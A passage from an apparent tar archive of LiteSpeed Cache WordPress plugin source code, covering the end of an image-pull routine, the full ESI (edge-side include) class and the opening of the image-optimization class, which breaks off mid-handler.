'complete' => $complete_action, 'verify' => false, 'verifyname' => false, ] ); } else { foreach ( $requests as $cnt => $req ) { $wp_response = wp_safe_remote_get( $req['url'], [ 'timeout' => 60 ] ); $request_response = [ 'success' => false, 'status_code' => 0, 'body' => null, 'sslverify' => false, ]; if ( is_wp_error( $wp_response ) ) { $error_message = $wp_response->get_error_message(); self::debug( '❌ failed to pull image: ' . $error_message ); } else { $request_response['success'] = true; $request_response['status_code'] = $wp_response['response']['code']; $request_response['body'] = $wp_response['body']; } self::debug( 'response code [code] ' . $wp_response['response']['code'] . ' [url] ' . $req['url'] ); $request_response = (object) $request_response; $complete_action( $request_response, $cnt ); } } self::debug( 'Current batch pull finished' ); } } catch ( \Exception $e ) { Admin_Display::error( 'Image pull process failure: ' . $e->getMessage() ); } // Notify IAPI images taken foreach ( $server_list as $server => $img_list ) { $data = [ 'action' => self::CLOUD_ACTION_TAKEN, 'list' => $img_list, 'server' => $server, ]; // TODO: improve this so we do not call once per server, but just once and then filter on the server side Cloud::post( Cloud::SVC_IMG_OPTM, $data ); } if ( empty( $this->_summary['img_taken'] ) ) { $this->_summary['img_taken'] = 0; } $this->_summary['img_taken'] += $total_pulled_ori + $total_pulled_webp + $total_pulled_avif; self::save_summary(); // Manually running needs to roll back timestamp for next running if ( $manual ) { $this->_update_cron_running( true ); } // $msg = sprintf(__('Pulled %d image(s)', 'litespeed-cache'), $total_pulled_ori + $total_pulled_webp); // Admin_Display::success($msg); // Check if there is still task in queue $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d LIMIT 1"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $q, self::STATUS_NOTIFIED ) ); if ( $to_be_continued ) { self::debug( 'Task in queue, to be continued...' ); return; // return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_PULL); } // If all pulled, update tag to done self::debug( 'Marked pull status to all pulled' ); self::update_option( self::DB_NEED_PULL, self::STATUS_PULLED ); } /** * Push image back to previous status * * @since 3.0 * @access private * @param int $id The image ID. */ private function _step_back_image( $id ) { global $wpdb; self::debug( 'Push image back to new status [id] ' . $id ); // Reset the image to gathered status $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d WHERE id = %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, [ self::STATUS_RAW, $id ] ) ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/esi.cls.php�������������������������������������������������������������0000644�����������������00000066272�15233526476�0014136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The ESI class. * * This is used to define all esi related functions. * * @since 1.1.3 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); class ESI extends Root { const LOG_TAG = '⏺'; private static $has_esi = false; private static $_combine_ids = array(); private $esi_args = null; private $_esi_preserve_list = array(); private $_nonce_actions = array( -1 => '' ); // val is cache control const QS_ACTION = 'lsesi'; const QS_PARAMS = 'esi'; const COMBO = '__combo'; // ESI include combine='main' handler const PARAM_ARGS = 'args'; const PARAM_ID = 'id'; const PARAM_INSTANCE = 'instance'; const PARAM_NAME = 'name'; const WIDGET_O_ESIENABLE = 'widget_esi_enable'; const WIDGET_O_TTL = 'widget_ttl'; /** * Confructor of ESI * * @since 1.2.0 * @since 4.0 Change to be after Vary init in hook 'after_setup_theme' */ public function init() { /** * Bypass ESI related funcs if disabled ESI to fix potential DIVI compatibility issue * * @since 2.9.7.2 */ if (Router::is_ajax() || !$this->cls('Router')->esi_enabled()) { return; } // Guest mode, don't need to use ESI if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) { return; } if (defined('LITESPEED_ESI_OFF')) { return; } // If page is not cacheable if (defined('DONOTCACHEPAGE') && apply_filters('litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE)) { return; } // Init ESI in `after_setup_theme` hook after detected if LITESPEED_DISABLE_ALL is ON or not $this->_hooks(); /** * Overwrite wp_create_nonce func * * @since 2.9.5 */ $this->_transform_nonce(); !defined('LITESPEED_ESI_INITED') && define('LITESPEED_ESI_INITED', true); } /** * Init ESI related hooks * * Load delayed by hook to give the ability to bypass by LITESPEED_DISABLE_ALL const * * @since 2.9.7.2 * @since 4.0 Changed to private from public * @access private */ private function _hooks() { add_filter('template_include', array( $this, 'esi_template' ), 99999); add_action('load-widgets.php', __NAMESPACE__ . '\Purge::purge_widget'); add_action('wp_update_comment_count', __NAMESPACE__ . '\Purge::purge_comment_widget'); /** * Recover REQUEST_URI * * @since 1.8.1 */ if (!empty($_GET[self::QS_ACTION])) { self::debug('ESI req'); $this->_register_esi_actions(); } /** * Shortcode ESI * * To use it, just change the original shortcode as below: * old: [someshortcode aa='bb'] * new: [esi someshortcode aa='bb' cache='private,no-vary' ttl='600'] * * 1. `cache` attribute is optional, default to 'public,no-vary'. * 2. `ttl` attribute is optional, default is your public TTL setting. * 3. `_ls_silence` attribute is optional, default is false. * * @since 2.8 * @since 2.8.1 Check is_admin for Elementor compatibility #726013 */ if (!is_admin()) { add_shortcode('esi', array( $this, 'shortcode' )); } } /** * Take over all nonce calls and transform to ESI * * @since 2.9.5 */ private function _transform_nonce() { if (is_admin()) { return; } // Load ESI nonces in conf $nonces = $this->conf(Base::O_ESI_NONCE); add_filter('litespeed_esi_nonces', array( $this->cls('Data'), 'load_esi_nonces' )); if ($nonces = apply_filters('litespeed_esi_nonces', $nonces)) { foreach ($nonces as $action) { $this->nonce_action($action); } } add_action('litespeed_nonce', array( $this, 'nonce_action' )); } /** * Register a new nonce action to convert it to ESI * * @since 2.9.5 */ public function nonce_action( $action ) { // Split the Cache Control $action = explode(' ', $action); $control = !empty($action[1]) ? $action[1] : ''; $action = $action[0]; // Wildcard supported $action = Utility::wildcard2regex($action); if (array_key_exists($action, $this->_nonce_actions)) { return; } $this->_nonce_actions[$action] = $control; // Debug2::debug('[ESI] Appended nonce action to nonce list [action] ' . $action); } /** * Check if an action is registered to replace ESI * * @since 2.9.5 */ public function is_nonce_action( $action ) { // If GM not run yet, then ESI not init yet, then ESI nonce will not be allowed even nonce func replaced. if (!defined('LITESPEED_ESI_INITED')) { return null; } if (is_admin()) { return null; } if (defined('LITESPEED_ESI_OFF')) { return null; } foreach ($this->_nonce_actions as $k => $v) { if (strpos($k, '*') !== false) { if (preg_match('#' . $k . '#iU', $action)) { return $v; } } elseif ($k == $action) { return $v; } } return null; } /** * Shortcode ESI * * @since 2.8 * @access public */ public function shortcode( $atts ) { if (empty($atts[0])) { Debug2::debug('[ESI] ===shortcode wrong format', $atts); return 'Wrong shortcode esi format'; } $cache = 'public,no-vary'; if (!empty($atts['cache'])) { $cache = $atts['cache']; unset($atts['cache']); } $silence = false; if (!empty($atts['_ls_silence'])) { $silence = true; } do_action('litespeed_esi_shortcode-' . $atts[0]); // Show ESI link return $this->sub_esi_block('esi', 'esi-shortcode', $atts, $cache, $silence); } /** * Check if the requested page has esi elements. If so, return esi on * header. * * @since 1.1.3 * @access public * @return string Esi On header if request has esi, empty string otherwise. */ public static function has_esi() { return self::$has_esi; } /** * Sets that the requested page has esi elements. * * @since 1.1.3 * @access public */ public static function set_has_esi() { self::$has_esi = true; } /** * Register all of the hooks related to the esi logic of the plugin. * Specifically when the page IS an esi page. * * @since 1.1.3 * @access private */ private function _register_esi_actions() { /** * This hook is in `init` * For any plugin need to check if page is ESI, use `LSCACHE_IS_ESI` check after `init` hook */ !defined('LSCACHE_IS_ESI') && define('LSCACHE_IS_ESI', $_GET[self::QS_ACTION]); // Reused this to ESI block ID !empty($_SERVER['ESI_REFERER']) && defined('LSCWP_LOG') && Debug2::debug('[ESI] ESI_REFERER: ' . $_SERVER['ESI_REFERER']); /** * Only when ESI's parent is not REST, replace REQUEST_URI to avoid breaking WP5 editor REST call * * @since 2.9.3 */ if (!empty($_SERVER['ESI_REFERER']) && !$this->cls('REST')->is_rest($_SERVER['ESI_REFERER'])) { self::debug('overwrite REQUEST_URI to ESI_REFERER [from] ' . $_SERVER['REQUEST_URI'] . ' [to] ' . $_SERVER['ESI_REFERER']); if (!empty($_SERVER['ESI_REFERER'])) { $_SERVER['REQUEST_URI'] = $_SERVER['ESI_REFERER']; if (substr(get_option('permalink_structure'), -1) === '/' && strpos($_SERVER['ESI_REFERER'], '?') === false) { $_SERVER['REQUEST_URI'] = trailingslashit($_SERVER['ESI_REFERER']); } } // Prevent from 301 redirecting if (!empty($_SERVER['SCRIPT_URI'])) { $SCRIPT_URI = parse_url($_SERVER['SCRIPT_URI']); $SCRIPT_URI['path'] = $_SERVER['REQUEST_URI']; Utility::compatibility(); $_SERVER['SCRIPT_URI'] = http_build_url($SCRIPT_URI); } } if (!empty($_SERVER['ESI_CONTENT_TYPE']) && strpos($_SERVER['ESI_CONTENT_TYPE'], 'application/json') === 0) { add_filter('litespeed_is_json', '__return_true'); } /** * Make REST call be able to parse ESI * NOTE: Not effective due to ESI req are all to `/` yet * * @since 2.9.4 */ add_action('rest_api_init', array( $this, 'load_esi_block' ), 101); // Register ESI blocks add_action('litespeed_esi_load-widget', array( $this, 'load_widget_block' )); add_action('litespeed_esi_load-admin-bar', array( $this, 'load_admin_bar_block' )); add_action('litespeed_esi_load-comment-form', array( $this, 'load_comment_form_block' )); add_action('litespeed_esi_load-nonce', array( $this, 'load_nonce_block' )); add_action('litespeed_esi_load-esi', array( $this, 'load_esi_shortcode' )); add_action('litespeed_esi_load-' . self::COMBO, array( $this, 'load_combo' )); } /** * Hooked to the template_include action. * Selects the esi template file when the post type is a LiteSpeed ESI page. * * @since 1.1.3 * @access public * @param string $template The template path filtered. * @return string The new template path. */ public function esi_template( $template ) { // Check if is an ESI request if (defined('LSCACHE_IS_ESI')) { self::debug('calling ESI template'); return LSCWP_DIR . 'tpl/esi.tpl.php'; } self::debug('calling default template'); $this->_register_not_esi_actions(); return $template; } /** * Register all of the hooks related to the esi logic of the plugin. * Specifically when the page is NOT an esi page. * * @since 1.1.3 * @access private */ private function _register_not_esi_actions() { do_action('litespeed_tpl_normal'); if (!Control::is_cacheable()) { return; } if (Router::is_ajax()) { return; } add_filter('widget_display_callback', array( $this, 'sub_widget_block' ), 0, 3); // Add admin_bar esi if (Router::is_logged_in()) { remove_action('wp_body_open', 'wp_admin_bar_render', 0); // Remove default Admin bar. Fix https://github.com/elementor/elementor/issues/25198 remove_action('wp_footer', 'wp_admin_bar_render', 1000); add_action('wp_footer', array( $this, 'sub_admin_bar_block' ), 1000); } // Add comment forum esi for logged-in user or commenter if (!Router::is_ajax() && Vary::has_vary()) { add_filter('comment_form_defaults', array( $this, 'register_comment_form_actions' )); } } /** * Set an ESI to be combine='sub' * * @since 3.4.2 */ public static function combine( $block_id ) { if (!isset($_SERVER['X-LSCACHE']) || strpos($_SERVER['X-LSCACHE'], 'combine') === false) { return; } if (in_array($block_id, self::$_combine_ids)) { return; } self::$_combine_ids[] = $block_id; } /** * Load combined ESI * * @since 3.4.2 */ public function load_combo() { Control::set_nocache('ESI combine request'); if (empty($_POST['esi_include'])) { return; } self::set_has_esi(); Debug2::debug('[ESI] 🍔 Load combo', $_POST['esi_include']); $output = ''; foreach ($_POST['esi_include'] as $url) { $qs = parse_url(htmlspecialchars_decode($url), PHP_URL_QUERY); parse_str($qs, $qs); if (empty($qs[self::QS_ACTION])) { continue; } $esi_id = $qs[self::QS_ACTION]; $esi_param = !empty($qs[self::QS_PARAMS]) ? $this->_parse_esi_param($qs[self::QS_PARAMS]) : false; $inline_param = apply_filters('litespeed_esi_inline-' . $esi_id, array(), $esi_param); // Returned array need to be [ val, control, tag ] if ($inline_param) { $output .= self::_build_inline($url, $inline_param); } } echo $output; } /** * Build a whole inline segment * * @since 3.4.2 */ private static function _build_inline( $url, $inline_param ) { if (!$url || empty($inline_param['val']) || empty($inline_param['control']) || empty($inline_param['tag'])) { return ''; } $url = esc_attr($url); $control = esc_attr($inline_param['control']); $tag = esc_attr($inline_param['tag']); return "<esi:inline name='$url' cache-control='" . $control . "' cache-tag='" . $tag . "'>" . $inline_param['val'] . '</esi:inline>'; } /** * Build the esi url. This method will build the html comment wrapper as well as serialize and encode the parameter array. * * The block_id parameter should contain alphanumeric and '-_' only. * * @since 1.1.3 * @access private * @param string $block_id The id to use to display the correct esi block. * @param string $wrapper The wrapper for the esi comments. * @param array $params The esi parameters. * @param string $control The cache control attribute if any. * @param bool $silence If generate wrapper comment or not * @param bool $preserved If this ESI block is used in any filter, need to temporarily convert it to a string to avoid the HTML tag being removed/filtered. * @param bool $svar If store the value in memory or not, in memory will be faster * @param array $inline_param If show the current value for current request( this can avoid multiple esi requests in first time cache generating process ) */ public function sub_esi_block( $block_id, $wrapper, $params = array(), $control = 'private,no-vary', $silence = false, $preserved = false, $svar = false, $inline_param = array() ) { if (empty($block_id) || !is_array($params) || preg_match('/[^\w-]/', $block_id)) { return false; } if (defined('LITESPEED_ESI_OFF')) { Debug2::debug('[ESI] ESI OFF so force loading [block_id] ' . $block_id); do_action('litespeed_esi_load-' . $block_id, $params); return; } if ($silence) { // Don't add comment to esi block ( original for nonce used in tag property data-nonce='esi_block' ) $params['_ls_silence'] = true; } if ($this->cls('REST')->is_rest() || $this->cls('REST')->is_internal_rest()) { $params['is_json'] = 1; } $params = apply_filters('litespeed_esi_params', $params, $block_id); $control = apply_filters('litespeed_esi_control', $control, $block_id); if (!is_array($params) || !is_string($control)) { defined('LSCWP_LOG') && Debug2::debug("[ESI] 🛑 Sub hooks returned Params: \n" . var_export($params, true) . "\ncache control: \n" . var_export($control, true)); return false; } // Build params for URL $appended_params = array( self::QS_ACTION => $block_id, ); if (!empty($control)) { $appended_params['_control'] = $control; } if ($params) { $appended_params[self::QS_PARAMS] = base64_encode(\json_encode($params)); Debug2::debug2('[ESI] param ', $params); } // Append hash $appended_params['_hash'] = $this->_gen_esi_md5($appended_params); /** * Escape potential chars * * @since 2.9.4 */ $appended_params = array_map('urlencode', $appended_params); // Generate ESI URL $url = add_query_arg($appended_params, trailingslashit(wp_make_link_relative(home_url()))); $output = ''; if ($inline_param) { $output .= self::_build_inline($url, $inline_param); } $output .= "<esi:include src='$url'"; if (!empty($control)) { $control = esc_attr($control); $output .= " cache-control='$control'"; } if ($svar) { $output .= " as-var='1'"; } if (in_array($block_id, self::$_combine_ids)) { $output .= " combine='sub'"; } if ($block_id == self::COMBO && isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'combine') !== false) { $output .= " combine='main'"; } $output .= ' />'; if (!$silence) { $output = "<!-- lscwp $wrapper -->$output<!-- lscwp $wrapper esi end -->"; } self::debug("💕 [BLock_ID] $block_id \t[wrapper] $wrapper \t\t[Control] $control"); self::debug2($output); self::set_has_esi(); // Convert to string to avoid html chars filter when using // Will reverse the buffer when output in self::finalize() if ($preserved) { $hash = md5($output); $this->_esi_preserve_list[$hash] = $output; self::debug("Preserved to $hash"); return $hash; } return $output; } /** * Generate ESI hash md5 * * @since 2.9.6 * @access private */ private function _gen_esi_md5( $params ) { $keys = array( self::QS_ACTION, '_control', self::QS_PARAMS ); $str = ''; foreach ($keys as $v) { if (isset($params[$v]) && is_string($params[$v])) { $str .= $params[$v]; } } Debug2::debug2('[ESI] md5_string=' . $str); return md5($this->conf(Base::HASH) . $str); } /** * Parses the request parameters on an ESI request * * @since 1.1.3 * @access private */ private function _parse_esi_param( $qs_params = false ) { $req_params = false; if ($qs_params) { $req_params = $qs_params; } elseif (isset($_REQUEST[self::QS_PARAMS])) { $req_params = $_REQUEST[self::QS_PARAMS]; } if (!$req_params) { return false; } $unencrypted = base64_decode($req_params); if ($unencrypted === false) { return false; } Debug2::debug2('[ESI] params', $unencrypted); // $unencoded = urldecode($unencrypted); no need to do this as $_GET is already parsed $params = \json_decode($unencrypted, true); return $params; } /** * Select the correct esi output based on the parameters in an ESI request. * * @since 1.1.3 * @access public */ public function load_esi_block() { /** * Validate if is a legal ESI req * * @since 2.9.6 */ if (empty($_GET['_hash']) || $this->_gen_esi_md5($_GET) != $_GET['_hash']) { Debug2::debug('[ESI] ❌ Failed to validate _hash'); return; } $params = $this->_parse_esi_param(); if (defined('LSCWP_LOG')) { $logInfo = '[ESI] ⭕ '; if (!empty($params[self::PARAM_NAME])) { $logInfo .= ' Name: ' . $params[self::PARAM_NAME] . ' ----- '; } $logInfo .= ' [ID] ' . LSCACHE_IS_ESI; Debug2::debug($logInfo); } if (!empty($params['_ls_silence'])) { !defined('LSCACHE_ESI_SILENCE') && define('LSCACHE_ESI_SILENCE', true); } /** * Buffer needs to be JSON format * * @since 2.9.4 */ if (!empty($params['is_json'])) { add_filter('litespeed_is_json', '__return_true'); } Tag::add(rtrim(Tag::TYPE_ESI, '.')); Tag::add(Tag::TYPE_ESI . LSCACHE_IS_ESI); // Debug2::debug(var_export($params, true )); /** * Handle default cache control 'private,no-vary' for sub_esi_block() @ticket #923505 * * @since 2.2.3 */ if (!empty($_GET['_control'])) { $control = explode(',', $_GET['_control']); if (in_array('private', $control)) { Control::set_private(); } if (in_array('no-vary', $control)) { Control::set_no_vary(); } } do_action('litespeed_esi_load-' . LSCACHE_IS_ESI, $params); } // The *_sub_* functions are helpers for the sub_* functions. // The *_load_* functions are helpers for the load_* functions. /** * Loads the default options for default WordPress widgets. * * @since 1.1.3 * @access public */ public static function widget_default_options( $options, $widget ) { if (!is_array($options)) { return $options; } $widget_name = get_class($widget); switch ($widget_name) { case 'WP_Widget_Recent_Posts': case 'WP_Widget_Recent_Comments': $options[self::WIDGET_O_ESIENABLE] = Base::VAL_OFF; $options[self::WIDGET_O_TTL] = 86400; break; default: break; } return $options; } /** * Hooked to the widget_display_callback filter. * If the admin configured the widget to display via esi, this function * will set up the esi request and cancel the widget display. * * @since 1.1.3 * @access public * @param array $instance Parameter used to build the widget. * @param \WP_Widget $widget The widget to build. * @param array $args Parameter used to build the widget. * @return mixed Return false if display through esi, instance otherwise. */ public function sub_widget_block( $instance, $widget, $args ) { // #210407 if (!is_array($instance)) { return $instance; } $name = get_class($widget); if (!isset($instance[Base::OPTION_NAME])) { return $instance; } $options = $instance[Base::OPTION_NAME]; if (!isset($options) || !$options[self::WIDGET_O_ESIENABLE]) { defined('LSCWP_LOG') && Debug2::debug('ESI 0 ' . $name . ': ' . (!isset($options) ? 'not set' : 'set off')); return $instance; } $esi_private = $options[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2 ? 'private,' : ''; $params = array( self::PARAM_NAME => $name, self::PARAM_ID => $widget->id, self::PARAM_INSTANCE => $instance, self::PARAM_ARGS => $args, ); echo $this->sub_esi_block('widget', 'widget ' . $name, $params, $esi_private . 'no-vary'); return false; } /** * Hooked to the wp_footer action. * Sets up the ESI request for the admin bar. * * @access public * @since 1.1.3 * @global type $wp_admin_bar */ public function sub_admin_bar_block() { global $wp_admin_bar; if (!is_admin_bar_showing() || !is_object($wp_admin_bar)) { return; } // To make each admin bar ESI request different for `Edit` button different link $params = array( 'ref' => $_SERVER['REQUEST_URI'], ); echo $this->sub_esi_block('admin-bar', 'adminbar', $params); } /** * Parses the esi input parameters and generates the widget for esi display. * * @access public * @since 1.1.3 * @global $wp_widget_factory * @param array $params Input parameters needed to correctly display widget */ public function load_widget_block( $params ) { // global $wp_widget_factory; // $widget = $wp_widget_factory->widgets[ $params[ self::PARAM_NAME ] ]; $option = $params[self::PARAM_INSTANCE]; $option = $option[Base::OPTION_NAME]; // Since we only reach here via esi, safe to assume setting exists. $ttl = $option[self::WIDGET_O_TTL]; defined('LSCWP_LOG') && Debug2::debug('ESI widget render: name ' . $params[self::PARAM_NAME] . ', id ' . $params[self::PARAM_ID] . ', ttl ' . $ttl); if ($ttl == 0) { Control::set_nocache('ESI Widget time to live set to 0'); } else { Control::set_custom_ttl($ttl); if ($option[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2) { Control::set_private(); } Control::set_no_vary(); Tag::add(Tag::TYPE_WIDGET . $params[self::PARAM_ID]); } the_widget($params[self::PARAM_NAME], $params[self::PARAM_INSTANCE], $params[self::PARAM_ARGS]); } /** * Generates the admin bar for esi display. * * @access public * @since 1.1.3 */ public function load_admin_bar_block( $params ) { global $wp_the_query; if (!empty($params['ref'])) { $ref_qs = parse_url($params['ref'], PHP_URL_QUERY); if (!empty($ref_qs)) { parse_str($ref_qs, $ref_qs_arr); if (!empty($ref_qs_arr)) { foreach ($ref_qs_arr as $k => $v) { $_GET[$k] = $v; } } } } // Needed when permalink structure is "Plain" if (!isset($wp_the_query)) { wp(); } wp_admin_bar_render(); if (!$this->conf(Base::O_ESI_CACHE_ADMBAR)) { Control::set_nocache('build-in set to not cacheable'); } else { Control::set_private(); Control::set_no_vary(); } defined('LSCWP_LOG') && Debug2::debug('ESI: adminbar ref: ' . $_SERVER['REQUEST_URI']); } /** * Parses the esi input parameters and generates the comment form for esi display. * * @access public * @since 1.1.3 * @param array $params Input parameters needed to correctly display comment form */ public function load_comment_form_block( $params ) { comment_form($params[self::PARAM_ARGS], $params[self::PARAM_ID]); if (!$this->conf(Base::O_ESI_CACHE_COMMFORM)) { Control::set_nocache('build-in set to not cacheable'); } else { // by default comment form is public if (Vary::has_vary()) { Control::set_private(); Control::set_no_vary(); } } } /** * Generate nonce for certain action * * @access public * @since 2.6 */ public function load_nonce_block( $params ) { $action = $params['action']; Debug2::debug('[ESI] load_nonce_block [action] ' . $action); // set nonce TTL to half day Control::set_custom_ttl(43200); if (Router::is_logged_in()) { Control::set_private(); } if (function_exists('wp_create_nonce_litespeed_esi')) { echo wp_create_nonce_litespeed_esi($action); } else { echo wp_create_nonce($action); } } /** * Show original shortcode * * @access public * @since 2.8 */ public function load_esi_shortcode( $params ) { if (isset($params['ttl'])) { if (!$params['ttl']) { Control::set_nocache('ESI shortcode att ttl=0'); } else { Control::set_custom_ttl($params['ttl']); } unset($params['ttl']); } // Replace to original shortcode $shortcode = $params[0]; $atts_ori = array(); foreach ($params as $k => $v) { if ($k === 0) { continue; } $atts_ori[] = is_string($k) ? "$k='" . addslashes($v) . "'" : $v; } Tag::add(Tag::TYPE_ESI . "esi.$shortcode"); // Output original shortcode final content echo do_shortcode("[$shortcode " . implode(' ', $atts_ori) . ' ]'); } /** * Hooked to the comment_form_defaults filter. * Stores the default comment form settings. * If sub_comment_form_block is triggered, the output buffer is cleared and an esi block is added. The remaining comment form is also buffered and cleared. * Else there is no need to make the comment form ESI. * * @since 1.1.3 * @access public */ public function register_comment_form_actions( $defaults ) { $this->esi_args = $defaults; echo GUI::clean_wrapper_begin(); add_filter('comment_form_submit_button', array( $this, 'sub_comment_form_btn' ), 1000, 2); // To save the params passed in add_action('comment_form', array( $this, 'sub_comment_form_block' ), 1000); return $defaults; } /** * Store the args passed in comment_form for the ESI comment param usage in `$this->sub_comment_form_block()` * * @since 3.4 * @access public */ public function sub_comment_form_btn( $unused, $args ) { if (empty($args) || empty($this->esi_args)) { Debug2::debug('comment form args empty?'); return $unused; } $esi_args = array(); // compare current args with default ones foreach ($args as $k => $v) { if (!isset($this->esi_args[$k])) { $esi_args[$k] = $v; } elseif (is_array($v)) { $diff = array_diff_assoc($v, $this->esi_args[$k]); if (!empty($diff)) { $esi_args[$k] = $diff; } } elseif ($v !== $this->esi_args[$k]) { $esi_args[$k] = $v; } } $this->esi_args = $esi_args; return $unused; } /** * Hooked to the comment_form_submit_button filter. * * This method will compare the used comment form args against the default args. The difference will be passed to the esi request. * * @access public * @since 1.1.3 */ public function sub_comment_form_block( $post_id ) { echo GUI::clean_wrapper_end(); $params = array( self::PARAM_ID => $post_id, self::PARAM_ARGS => $this->esi_args, ); echo $this->sub_esi_block('comment-form', 'comment form', $params); echo GUI::clean_wrapper_begin(); add_action('comment_form_after', array( $this, 'comment_form_sub_clean' )); } /** * Hooked to the comment_form_after action. * Cleans up the remaining comment form output. * * @since 1.1.3 * @access public */ public function comment_form_sub_clean() { echo GUI::clean_wrapper_end(); } /** * Replace preserved blocks * * @since 2.6 * @access public */ public function finalize( $buffer ) { // Prepend combo esi block if (self::$_combine_ids) { Debug2::debug('[ESI] 🍔 Enabled combo'); $esi_block = $this->sub_esi_block(self::COMBO, '__COMBINE_MAIN__', array(), 'no-cache', true); $buffer = $esi_block . $buffer; } // Bypass if no preserved list to be replaced if (!$this->_esi_preserve_list) { return $buffer; } $keys = array_keys($this->_esi_preserve_list); Debug2::debug('[ESI] replacing preserved blocks', $keys); $buffer = str_replace($keys, $this->_esi_preserve_list, $buffer); return $buffer; } /** * Check if the content contains preserved list or not * * @since 3.3 */ public function contain_preserve_esi( $content ) { $hit_list = array(); foreach ($this->_esi_preserve_list as $k => $v) { if (strpos($content, '"' . $k . '"') !== false) { $hit_list[] = '"' . $k . '"'; } if (strpos($content, "'" . $k . "'") !== false) { $hit_list[] = "'" . $k . "'"; } } return $hit_list; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/img-optm.cls.php��������������������������������������������������������0000644�����������������00000012407�15233526476�0015076 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The class to optimize image. * * @since 2.0 * @package LiteSpeed */ namespace LiteSpeed; use WpOrg\Requests\Autoload; use WpOrg\Requests\Requests; defined( 'WPINC' ) || exit(); /** * Class Img_Optm * * Handles image optimization operations with QUIC.cloud service. */ class Img_Optm extends Base { use Img_Optm_Send; use Img_Optm_Pull; use Img_Optm_Manage; const LOG_TAG = '🗜️'; const CLOUD_ACTION_NEW_REQ = 'new_req'; const CLOUD_ACTION_TAKEN = 'taken'; const CLOUD_ACTION_REQUEST_DESTROY = 'imgoptm_destroy'; const CLOUD_ACTION_CLEAN = 'clean'; const TYPE_NEW_REQ = 'new_req'; const TYPE_RESCAN = 'rescan'; const TYPE_DESTROY = 'destroy'; const TYPE_RESET_COUNTER = 'reset_counter'; const TYPE_CLEAN = 'clean'; const TYPE_PULL = 'pull'; const TYPE_BATCH_SWITCH_ORI = 'batch_switch_ori'; const TYPE_BATCH_SWITCH_OPTM = 'batch_switch_optm'; const TYPE_CALC_BKUP = 'calc_bkup'; const TYPE_RESET_ROW = 'reset_row'; const TYPE_RM_BKUP = 'rm_bkup'; const STATUS_NEW = 0; // 'new'; const STATUS_RAW = 1; // 'raw'; const STATUS_REQUESTED = 3; // 'requested'; const STATUS_NOTIFIED = 6; // 'notified'; const STATUS_DUPLICATED = 8; // 'duplicated'; const STATUS_PULLED = 9; // 'pulled'; const STATUS_FAILED = -1; // 'failed'; const STATUS_MISS = -3; // 'miss'; const STATUS_ERR_FETCH = -5; // 'err_fetch'; const STATUS_ERR_404 = -6; // 'err_404'; const STATUS_ERR_OPTM = -7; // 'err_optm'; const STATUS_XMETA = -8; // 'xmeta'; const STATUS_ERR = -9; // 'err'; const DB_SIZE = 'litespeed-optimize-size'; const DB_SET = 'litespeed-optimize-set'; const DB_NEED_PULL = 'need_pull'; /** * WordPress upload directory info. * * @var array */ private $wp_upload_dir; /** * Temporary post ID for current operation. * * @var int */ private $tmp_pid; /** * Temporary type for current operation. * * @var string */ private $tmp_type; /** * Temporary path for current operation. * * @var string */ private $tmp_path; /** * Images queued for optimization. * * @var array */ private $_img_in_queue = []; /** * List of existing source files. * * @var array */ private $_existed_src_list = []; /** * Set of post IDs. * * @var array */ private $_pids_set = []; /** * Thumbnail set string. * * @var string */ private $_thumbnail_set = ''; /** * Image optimization table name. * * @var string */ private $_table_img_optm; /** * Image optimization working table name. * * @var string */ private $_table_img_optming; /** * Flag indicating if cron has run. * * @var bool */ private $_cron_ran = false; /** * Sizes to skip during optimization. * * @var array */ private $_sizes_skipped = []; /** * Media class instance. * * @var Media */ private $__media; /** * Data class instance. * * @var Data */ private $__data; /** * Summary data. * * @var array */ protected $_summary; /** * Output format (webp/avif). * * @var string */ private $_format = ''; /** * Init * * @since 2.0 */ public function __construct() { Debug2::debug2( '[ImgOptm] init' ); $this->wp_upload_dir = wp_upload_dir(); $this->__media = $this->cls( 'Media' ); $this->__data = $this->cls( 'Data' ); $this->_table_img_optm = $this->__data->tb( 'img_optm' ); $this->_table_img_optming = $this->__data->tb( 'img_optming' ); $this->_summary = self::get_summary(); if ( empty( $this->_summary['next_post_id'] ) ) { $this->_summary['next_post_id'] = 0; } if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_format = 'webp'; if ( $this->conf( Base::O_IMG_OPTM_WEBP ) === 2 ) { $this->_format = 'avif'; } } // Allow users to ignore custom sizes. $this->_sizes_skipped = apply_filters( 'litespeed_imgoptm_sizes_skipped', $this->conf( Base::O_IMG_OPTM_SIZES_SKIPPED ) ); } /** * Handle all request actions from main cls * * @since 2.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_RESET_ROW: // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = ! empty( $_GET['id'] ) ? absint( wp_unslash( $_GET['id'] ) ) : false; $this->reset_row( $id ); break; case self::TYPE_CALC_BKUP: $this->_calc_bkup(); break; case self::TYPE_RM_BKUP: $this->rm_bkup(); break; case self::TYPE_NEW_REQ: $this->new_req(); break; case self::TYPE_RESCAN: $this->_rescan(); break; case self::TYPE_RESET_COUNTER: $this->_reset_counter(); break; case self::TYPE_DESTROY: $this->_destroy(); break; case self::TYPE_CLEAN: $this->clean(); break; case self::TYPE_PULL: self::start_async(); break; case 